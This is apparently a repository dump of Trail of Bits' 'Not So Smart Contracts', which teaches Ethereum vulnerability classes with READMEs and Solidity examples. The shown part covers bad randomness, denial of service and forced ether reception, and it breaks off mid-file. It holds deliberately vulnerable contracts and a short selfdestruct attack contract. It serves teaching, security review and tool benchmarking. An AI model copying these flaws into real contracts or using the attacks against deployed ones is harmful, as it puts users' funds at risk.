├── .gitattributes ├── LICENSE ├── README.md ├── bad_randomness ├── README.md └── theRun_source_code │ └── theRun.sol ├── denial_of_service ├── README.md ├── auction.sol └── list_dos.sol ├── forced_ether_reception ├── README.md └── coin.sol ├── honeypots ├── GiftBox │ ├── GiftBox.sol │ └── README.md ├── KOTH │ ├── KOTH.sol │ └── README.md ├── Lottery │ ├── Lottery.sol │ └── README.md ├── Multiplicator │ ├── Multiplicator.sol │ └── README.md ├── PrivateBank │ ├── PrivateBank.sol │ └── README.md ├── README.md └── VarLoop │ ├── README.md │ └── VarLoop.sol ├── incorrect_interface ├── Alice.sol ├── Bob.sol └── README.md ├── integer_overflow ├── README.md └── integer_overflow_1.sol ├── race_condition ├── README.md └── RaceCondition.sol ├── reentrancy ├── DAO_source_code │ └── DAO.sol ├── README.md ├── Reentrancy.sol ├── ReentrancyExploit.sol └── SpankChain_source_code │ ├── README.md │ ├── SpankChain.sol │ └── SpankChain_Payment.sol ├── unchecked_external_call ├── KotET_source_code │ └── KingOfTheEtherThrone.sol └── README.md ├── unprotected_function ├── README.md ├── Unprotected.sol └── WalletLibrary_source_code │ └── WalletLibrary.sol ├── variable shadowing ├── README.md └── inherited_state.sol └── wrong_constructor_name ├── README.md ├── Rubixi_source_code └── Rubixi.sol └── incorrect_constructor.sol /.gitattributes: -------------------------------------------------------------------------------- 1 | *.sol linguist-language=Solidity 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | No-so-smart-contracts is now in [building-secure-contracts](https://github.com/crytic/building-secure-contracts) (see [https://secure-contracts.com/](https://secure-contracts.com/)) 3 | 4 | # (Not So) Smart Contracts 5 | 6 | This repository contains examples of common Ethereum smart contract vulnerabilities, including code from real smart contracts. Use Not So Smart Contracts to learn about EVM and Solidity vulnerabilities, as a reference when performing security reviews, and as a benchmark for security and analysis tools. 7 | 8 | ## Features 9 | 10 | Each _Not So Smart Contract_ includes a standard set of information: 11 | 12 | * Description of the unique vulnerability type 13 | * Attack scenarios to exploit the vulnerability 14 | * Recommendations to eliminate or mitigate the vulnerability 15 | * Real-world contracts that exhibit the flaw 16 | * References to third-party resources with more information 17 | 18 | Bonus! We have also included a repository and analysis of several [honeypots](honeypots). 19 | 20 | ## Vulnerabilities 21 | 22 | | Not So Smart Contract | Description | 23 | | --- | --- | 24 | | [Bad randomness](bad_randomness) | Contract attempts to get on-chain randomness, which can be manipulated by users | 25 | | [Denial of Service](denial_of_service) | Attacker stalls contract execution by failing in strategic way | 26 | | [Forced Ether Reception](forced_ether_reception) | Contracts can be forced to receive Ether | 27 | | [Incorrect Interface](incorrect_interface) | Implementation uses different function signatures than interface | 28 | | [Integer Overflow](integer_overflow) | Arithmetic in Solidity (or EVM) is not safe by default | 29 | | [Race Condition](race_condition) | Transactions can be frontrun on the blockchain | 30 | | [Reentrancy](reentrancy) | Calling external contracts gives them control over execution | 31 | | [Unchecked External Call](unchecked_external_call) | Some Solidity operations silently fail | 32 | | [Unprotected Function](unprotected_function) | Failure to use function modifier allows attacker to manipulate contract | 33 | | [Variable Shadowing](variable%20shadowing/) | Local variable name is identical to one in outer scope | 34 | | [Wrong Constructor Name](wrong_constructor_name) | Anyone can become owner of contract due to missing constructor | 35 | 36 | ## Credits 37 | 38 | These examples are developed and maintained by [Trail of Bits](https://www.trailofbits.com/). Contributions are encouraged and are covered under our [bounty program](https://github.com/trailofbits/not-so-smart-contracts/wiki#bounties). 39 | 40 | If you have questions, problems, or just want to learn more, then join the #ethereum channel on the [Empire Hacking Slack](https://empireslacking.herokuapp.com/) or [contact us](https://www.trailofbits.com/contact/) directly. 41 | -------------------------------------------------------------------------------- /bad_randomness/README.md: -------------------------------------------------------------------------------- 1 | # Bad Randomness 2 | 3 | Pseudorandom number generation on the blockchain is generally unsafe. There are a number of reasons for this, including: 4 | 5 | - The blockchain does not provide any cryptographically secure source of randomness. Block hashes in isolation are cryptographically random, however, a malicious miner can modify block headers, introduce additional transactions, and choose not to publish blocks in order to influence the resulting hashes. Therefore, miner-influenced values like block hashes and timestamps should never be used as a source of randomness. 6 | 7 | - Everything in a contract is publicly visible. Random numbers cannot be generated or stored in the contract until after all lottery entries have been stored. 8 | 9 | - Computers will always be faster than the blockchain. Any number that the contract could generate can potentially be precalculated off-chain before the end of the block. 10 | 11 | A common workaround for the lack of on-chain randomness is using a commit and reveal scheme. Here, each user submits the hash of their secret number. 12 | When the time comes for the random number to be generated, each user sends their secret number to the contract 13 | which then verifies it matches the hash submitted earlier and xors them together. Therefore no participant can observe how their contribution 14 | will affect the end result until after everyone has already committed to a value. However, this is also vulnerable to DoS attacks, 15 | since the last person to reveal can choose to never submit their secret. Even if the contract is allowed to move forward without 16 | everyone's secrets, this gives them influence over the end result. In general, we do not recommend commit and reveal schemes. 17 | 18 | ## Attack Scenarios 19 | 20 | - A lottery where people bet on whether the hash of the current block is even or odd. A miner that bets on even can throw out blocks whose 21 | hash are even. 22 | - A commit-reveal scheme where users don't necessarily have to reveal their secret (to prevent DoS). A user has money riding on the outcome 23 | of the PRG and submits a large number of commits, allowing them to choose the one they want to reveal at the end. 24 | 25 | ## Mitigations 26 | 27 | There are currently not any recommended mitigations for this issue. 28 | Do not build applications that require on-chain randomness. 29 | In the future, however, these approaches show promise 30 | 31 | - [Verifiable delay functions](https://eprint.iacr.org/2018/601.pdf): functions which produce a pseudorandom number 32 | and take a fixed amount of sequential time to evaluate 33 | - [Randao](https://github.com/randao/randao): A commit reveal scheme where users must stake wei to participate 34 | 35 | ## Examples 36 | 37 | - The `random` function in [theRun](theRun_source_code/theRun.sol) was vulnerable to this attack. It used the blockhash, timestamp and block number to generate numbers in a range to determine winners of the lottery. To exploit this, an attacker could set up a smart contract that generates numbers in the same way and submits entries when it would win. As well, the miner of the block has some control over the blockhash and timestamp and would also be able to influence the lottery in their favor. 38 | 39 | ## Sources 40 | 41 | - https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract 42 | - https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 43 | -------------------------------------------------------------------------------- /bad_randomness/theRun_source_code/theRun.sol: -------------------------------------------------------------------------------- 1 | contract theRun { 2 | uint private Balance = 0; 3 | uint private Payout_id = 0; 4 | uint private Last_Payout = 0; 5 | uint private WinningPot = 0; 6 | uint private Min_multiplier = 1100; //110% 7 | 8 | 9 | //Fees are necessary and set very low, to maintain the website. The fees will decrease each time they are collected. 10 | //Fees are just here to maintain the website at beginning, and will progressively go to 0% :) 11 | uint private fees = 0; 12 | uint private feeFrac = 20; //Fraction for fees in per"thousand", not percent, so 20 is 2% 13 | 14 | uint private PotFrac = 30; //For the WinningPot ,30=> 3% are collected. This is fixed. 15 | 16 | 17 | address private admin; 18 | 19 | function theRun() { 20 | admin = msg.sender; 21 | } 22 | 23 | modifier onlyowner {if (msg.sender == admin) _; } 24 | 25 | struct Player { 26 | address addr; 27 | uint payout; 28 | bool paid; 29 | } 30 | 31 | Player[] private players; 32 | 33 | //--Fallback function 34 | function() { 35 | init(); 36 | } 37 | 38 | //--initiated function 39 | function init() private { 40 | uint deposit=msg.value; 41 | if (msg.value < 500 finney) { //only participation with >1 ether accepted 42 | msg.sender.send(msg.value); 43 | return; 44 | } 45 | if (msg.value > 20 ether) { //only participation with <20 ether accepted 46 | msg.sender.send(msg.value- (20 ether)); 47 | deposit=20 ether; 48 | } 49 | Participate(deposit); 50 | } 51 | 52 | //------- Core of the game---------- 53 | function Participate(uint deposit) private { 54 | //calculate the multiplier to apply to the future payout 55 | 56 | 57 | uint total_multiplier=Min_multiplier; //initiate total_multiplier 58 | if(Balance < 1 ether && players.length>1){ 59 | total_multiplier+=100; // + 10 % 60 | } 61 | if( (players.length % 10)==0 && players.length>1 ){ //Every 10th participant gets a 10% bonus, play smart ! 62 | total_multiplier+=100; // + 10 % 63 | } 64 | 65 | //add new player in the queue ! 66 | players.push(Player(msg.sender, (deposit * total_multiplier) / 1000, false)); 67 | 68 | //--- UPDATING CONTRACT STATS ---- 69 | WinningPot += (deposit * PotFrac) / 1000; // take some 3% to add for the winning pot ! 70 | fees += (deposit * feeFrac) / 1000; // collect maintenance fees 2% 71 | Balance += (deposit * (1000 - ( feeFrac + PotFrac ))) / 1000; // update balance 72 | 73 | // Winning the Pot :) Condition : paying at least 1 people with deposit > 2 ether and having luck ! 74 | if( ( deposit > 1 ether ) && (deposit > players[Payout_id].payout) ){ 75 | uint roll = random(100); //take a random number between 1 & 100 76 | if( roll % 10 == 0 ){ //if lucky : Chances : 1 out of 10 ! 77 | msg.sender.send(WinningPot); // Bravo ! 78 | WinningPot=0; 79 | } 80 | 81 | } 82 | 83 | //Classic payout for the participants 84 | while ( Balance > players[Payout_id].payout ) { 85 | Last_Payout = players[Payout_id].payout; 86 | players[Payout_id].addr.send(Last_Payout); //pay the man, please ! 87 | Balance -= players[Payout_id].payout; //update the balance 88 | players[Payout_id].paid=true; 89 | 90 | Payout_id += 1; 91 | } 92 | } 93 | 94 | 95 | 96 | uint256 constant private salt = block.timestamp; 97 | 98 | function random(uint Max) constant private returns (uint256 result){ 99 | //get the best seed for randomness 100 | uint256 x = salt * 100 / Max; 101 | uint256 y = salt * block.number / (salt % 5) ; 102 | uint256 seed = block.number/3 + (salt % 300) + Last_Payout +y; 103 | uint256 h = uint256(block.blockhash(seed)); 104 | 105 | return uint256((h / x)) % Max + 1; //random number between 1 and Max 106 | } 107 | 108 | 109 | 110 | //---Contract management functions 111 | function ChangeOwnership(address _owner) onlyowner { 112 | admin = _owner; 113 | } 114 | function WatchBalance() constant returns(uint TotalBalance) { 115 | TotalBalance = Balance / 1 wei; 116 | } 117 | 118 | function WatchBalanceInEther() constant returns(uint TotalBalanceInEther) { 119 | TotalBalanceInEther = Balance / 1 ether; 120 | } 121 | 122 | 123 | //Fee functions for creator 124 | function CollectAllFees() onlyowner { 125 | if (fees == 0) throw; 126 | admin.send(fees); 127 | feeFrac-=1; 128 | fees = 0; 129 | } 130 | 131 | function GetAndReduceFeesByFraction(uint p) onlyowner { 132 | if (fees == 0) feeFrac-=1; //Reduce fees. 133 | admin.send(fees / 1000 * p);//send a percent of fees 134 | fees -= fees / 1000 * p; 135 | } 136 | 137 | 138 | //---Contract informations 139 | function NextPayout() constant returns(uint NextPayout) { 140 | NextPayout = players[Payout_id].payout / 1 wei; 141 | } 142 | 143 | function WatchFees() constant returns(uint CollectedFees) { 144 | CollectedFees = fees / 1 wei; 145 | } 146 | 147 | 148 | function WatchWinningPot() constant returns(uint WinningPot) { 149 | WinningPot = WinningPot / 1 wei; 150 | } 151 | 152 | function WatchLastPayout() constant returns(uint payout) { 153 | payout = Last_Payout; 154 | } 155 | 156 | function Total_of_Players() constant returns(uint NumberOfPlayers) { 157 | NumberOfPlayers = players.length; 158 | } 159 | 160 | function PlayerInfo(uint id) constant returns(address Address, uint Payout, bool UserPaid) { 161 | if (id <= players.length) { 162 | Address = players[id].addr; 163 | Payout = players[id].payout / 1 wei; 164 | UserPaid=players[id].paid; 165 | } 166 | } 167 | 168 | function PayoutQueueSize() constant returns(uint QueueSize) { 169 | QueueSize = players.length - Payout_id; 170 | } 171 | 172 | 173 | } 174 | -------------------------------------------------------------------------------- /denial_of_service/README.md: -------------------------------------------------------------------------------- 1 | # Denial of Service 2 | 3 | A malicious contract can permanently stall another contract by failing 4 | in a strategic way. In particular, contracts that bulk perform transactions or updates using 5 | a `for` loop can be DoS'd if a call to another contract or `transfer` fails during the loop. 6 | 7 | ## Attack Scenarios 8 | 9 | - Auction contract where frontrunner must be reimbursed when they are outbid. If the call refunding 10 | the frontrunner continuously fails, the auction is stalled and they become the de facto winner. 11 | 12 | - Contract iterates through an array to pay back its users. If one `transfer` fails in the middle of a `for` loop 13 | all reimbursements fail. 14 | 15 | - Attacker spams contract, causing some array to become large. Then `for` loops iterating through the array 16 | might run out of gas and revert. 17 | 18 | ## Examples 19 | 20 | - Both [insecure](auction.sol#L4) and [secure](auction.sol#L26) versions of the auction contract mentioned above 21 | 22 | - Bulk refund functionality that is [suceptible to DoS](list_dos.sol#L3), and a [secure](list_dos.sol#L29) version 23 | 24 | ## Mitigations 25 | 26 | - Favor pull over push for external calls 27 | - If iterating over a dynamically sized data structure, be able to handle the case where the function 28 | takes multiple blocks to execute. One strategy for this is storing iterator in a private variable and 29 | using `while` loop that exists when gas drops below certain threshold. 30 | 31 | ## References 32 | 33 | - https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/ 34 | - https://github.com/ConsenSys/smart-contract-best-practices#dos-with-unexpected-revert 35 | - https://vessenes.com/ethereum-griefing-wallets-send-w-throw-considered-harmful/ 36 | -------------------------------------------------------------------------------- /denial_of_service/auction.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | //Auction susceptible to DoS attack 4 | contract DosAuction { 5 | address currentFrontrunner; 6 | uint currentBid; 7 | 8 | //Takes in bid, refunding the frontrunner if they are outbid 9 | function bid() payable { 10 | require(msg.value > currentBid); 11 | 12 | //If the refund fails, the entire transaction reverts. 13 | //Therefore a frontrunner who always fails will win 14 | if (currentFrontrunner != 0) { 15 | //E.g. if recipients fallback function is just revert() 16 | require(currentFrontrunner.send(currentBid)); 17 | } 18 | 19 | currentFrontrunner = msg.sender; 20 | currentBid = msg.value; 21 | } 22 | } 23 | 24 | 25 | //Secure auction that cannot be DoS'd 26 | contract SecureAuction { 27 | address currentFrontrunner; 28 | uint currentBid; 29 | //Store refunds in mapping to avoid DoS 30 | mapping(address => uint) refunds; 31 | 32 | //Avoids "pushing" balance to users favoring "pull" architecture 33 | function bid() payable external { 34 | require(msg.value > currentBid); 35 | 36 | if (currentFrontrunner != 0) { 37 | refunds[currentFrontrunner] += currentBid; 38 | } 39 | 40 | currentFrontrunner = msg.sender; 41 | currentBid = msg.value; 42 | } 43 | 44 | //Allows users to get their refund from auction 45 | function withdraw() external { 46 | //Do all state manipulation before external call to 47 | //avoid reentrancy attack 48 | uint refund = refunds[msg.sender]; 49 | refunds[msg.sender] = 0; 50 | 51 | msg.sender.send(refund); 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /denial_of_service/list_dos.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.15; 2 | 3 | contract CrowdFundBad { 4 | address[] private refundAddresses; 5 | mapping(address => uint) public refundAmount; 6 | 7 | function refundDos() public { 8 | for(uint i; i < refundAddresses.length; i++) { 9 | require(refundAddresses[i].transfer(refundAmount[refundAddresses[i]])); 10 | } 11 | } 12 | } 13 | 14 | contract CrowdFundPull { 15 | address[] private refundAddresses; 16 | mapping(address => uint) public refundAmount; 17 | 18 | function withdraw() external { 19 | uint refund = refundAmount[msg.sender]; 20 | refundAmount[msg.sender] = 0; 21 | msg.sender.transfer(refund); 22 | } 23 | } 24 | 25 | 26 | //This is safe against the list length causing out of gas issues 27 | //but is not safe against the payee causing the execution to revert 28 | contract CrowdFundSafe { 29 | address[] private refundAddresses; 30 | mapping(address => uint) public refundAmount; 31 | uint256 nextIdx; 32 | 33 | function refundSafe() public { 34 | uint256 i = nextIdx; 35 | while(i < refundAddresses.length && msg.gas > 200000) { 36 | refundAddresses[i].transfer(refundAmount[i]); 37 | i++; 38 | } 39 | nextIdx = i; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /forced_ether_reception/README.md: -------------------------------------------------------------------------------- 1 | # Contracts can be forced to receive ether 2 | 3 | In certain circunstances, contracts can be forced to receive ether without triggering any code. This should be considered by the contract developers in order to avoid breaking important invariants in their code. 4 | 5 | ## Attack Scenario 6 | 7 | An attacker can use a specially crafted contract to forceful send ether using `suicide` / `selfdestruct`: 8 | 9 | ```solidity 10 | contract Sender { 11 | function receive_and_suicide(address target) payable { 12 | suicide(target); 13 | } 14 | } 15 | ``` 16 | 17 | ## Example 18 | 19 | - The MyAdvancedToken contract in [coin.sol](coin.sol#L145) is vulnerable to this attack. It will stop the owner to perform the migration of the contract. 20 | 21 | ## Mitigations 22 | 23 | There is no way to block the reception of ether. The only mitigation is to avoid assuming how the balance of the contract 24 | increases and implement checks to handle this type of edge cases. 25 | 26 | ## References 27 | 28 | - https://solidity.readthedocs.io/en/develop/security-considerations.html#sending-and-receiving-ether 29 | -------------------------------------------------------------------------------- /forced_ether_reception/coin.sol: -------------------------------------------------------------------------------- 1 | // taken from https://www.ethereum.org/token#the-coin (4/9/2018) 2 | 3 | pragma solidity ^0.4.16; 4 | 5 | contract owned { 6 | address public owner; 7 | 8 | function owned() public { 9 | owner = msg.sender; 10 | } 11 | 12 | modifier onlyOwner { 13 | require(msg.sender == owner); 14 | _; 15 | } 16 | 17 | function transferOwnership(address newOwner) onlyOwner public { 18 | owner = newOwner; 19 | } 20 | } 21 | 22 | interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } 23 | 24 | contract TokenERC20 { 25 | // Public variables of the token 26 | string public name; 27 | string public symbol; 28 | uint8 public decimals = 18; 29 | // 18 decimals is the strongly suggested default, avoid changing it 30 | uint256 public totalSupply; 31 | 32 | // This creates an array with all balances 33 | mapping (address => uint256) public balanceOf; 34 | mapping (address => mapping (address => uint256)) public allowance; 35 | 36 | // This generates a public event on the blockchain that will notify clients 37 | event Transfer(address indexed from, address indexed to, uint256 value); 38 | 39 | // This generates a public event on the blockchain that will notify clients 40 | event Approval(address indexed _owner, address indexed _spender, uint256 _value); 41 | 42 | /** 43 | * Constrctor function 44 | * 45 | * Initializes contract with initial supply tokens to the creator of the contract 46 | */ 47 | function TokenERC20( 48 | string tokenName, 49 | string tokenSymbol 50 | ) public { 51 | name = tokenName; // Set the name for display purposes 52 | symbol = tokenSymbol; // Set the symbol for display purposes 53 | } 54 | 55 | /** 56 | * Internal transfer, only can be called by this contract 57 | */ 58 | function _transfer(address _from, address _to, uint _value) internal { 59 | // Prevent transfer to 0x0 address. 60 | require(_to != 0x0); 61 | // Check if the sender has enough 62 | require(balanceOf[_from] >= _value); 63 | // Check for overflows 64 | require(balanceOf[_to] + _value > balanceOf[_to]); 65 | // Save this for an assertion in the future 66 | uint previousBalances = balanceOf[_from] + balanceOf[_to]; 67 | // Subtract from the sender 68 | balanceOf[_from] -= _value; 69 | // Add the same to the recipient 70 | balanceOf[_to] += _value; 71 | emit Transfer(_from, _to, _value); 72 | // Asserts are used to use static analysis to find bugs in your code. They should never fail 73 | assert(balanceOf[_from] + balanceOf[_to] == previousBalances); 74 | } 75 | 76 | /** 77 | * Transfer tokens 78 | * 79 | * Send `_value` tokens to `_to` from your account 80 | * 81 | * @param _to The address of the recipient 82 | * @param _value the amount to send 83 | */ 84 | function transfer(address _to, uint256 _value) public returns (bool success) { 85 | _transfer(msg.sender, _to, _value); 86 | return true; 87 | } 88 | 89 | /** 90 | * Transfer tokens from other address 91 | * 92 | * Send `_value` tokens to `_to` in behalf of `_from` 93 | * 94 | * @param _from The address of the sender 95 | * @param _to The address of the recipient 96 | * @param _value the amount to send 97 | */ 98 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { 99 | require(_value <= allowance[_from][msg.sender]); // Check allowance 100 | allowance[_from][msg.sender] -= _value; 101 | _transfer(_from, _to, _value); 102 | return true; 103 | } 104 | 105 | /** 106 | * Set allowance for other address 107 | * 108 | * Allows `_spender` to spend no more than `_value` tokens in your behalf 109 | * 110 | * @param _spender The address authorized to spend 111 | * @param _value the max amount they can spend 112 | */ 113 | function approve(address _spender, uint256 _value) public 114 | returns (bool success) { 115 | allowance[msg.sender][_spender] = _value; 116 | emit Approval(msg.sender, _spender, _value); 117 | return true; 118 | } 119 | 120 | /** 121 | * Set allowance for other address and notify 122 | * 123 | * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it 124 | * 125 | * @param _spender The address authorized to spend 126 | * @param _value the max amount they can spend 127 | * @param _extraData some extra information to send to the approved contract 128 | */ 129 | function approveAndCall(address _spender, uint256 _value, bytes _extraData) 130 | public 131 | returns (bool success) { 132 | tokenRecipient spender = tokenRecipient(_spender); 133 | if (approve(_spender, _value)) { 134 | spender.receiveApproval(msg.sender, _value, this, _extraData); 135 | return true; 136 | } 137 | } 138 | 139 | } 140 | 141 | /******************************************/ 142 | /* ADVANCED TOKEN STARTS HERE */ 143 | /******************************************/ 144 | 145 | contract MyAdvancedToken is owned, TokenERC20 { 146 | 147 | mapping (address => bool) public frozenAccount; 148 | 149 | /* This generates a public event on the blockchain that will notify clients */ 150 | event FrozenFunds(address target, bool frozen); 151 | 152 | /* Initializes contract with initial supply tokens to the creator of the contract */ 153 | function MyAdvancedToken( 154 | string tokenName, 155 | string tokenSymbol 156 | ) TokenERC20(tokenName, tokenSymbol) public {} 157 | 158 | /* Internal transfer, only can be called by this contract */ 159 | function _transfer(address _from, address _to, uint _value) internal { 160 | require (_to != 0x0); // Prevent transfer to 0x0 address. 161 | require (balanceOf[_from] >= _value); // Check if the sender has enough 162 | require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows 163 | require(!frozenAccount[_from]); // Check if sender is frozen 164 | require(!frozenAccount[_to]); // Check if recipient is frozen 165 | balanceOf[_from] -= _value; // Subtract from the sender 166 | balanceOf[_to] += _value; // Add the same to the recipient 167 | emit Transfer(_from, _to, _value); 168 | } 169 | 170 | /// @notice Buy tokens from contract by sending ether 171 | function buy() payable public { 172 | uint amount = msg.value; // calculates the amount 173 | balanceOf[msg.sender] += amount; // updates the balance 174 | totalSupply += amount; // updates the total supply 175 | _transfer(address(0x0), msg.sender, amount); // makes the transfer 176 | } 177 | 178 | /* Migration function */ 179 | function migrate_and_destroy() onlyOwner { 180 | assert(this.balance == totalSupply); // consistency check 181 | suicide(owner); // transfer the ether to the owner and 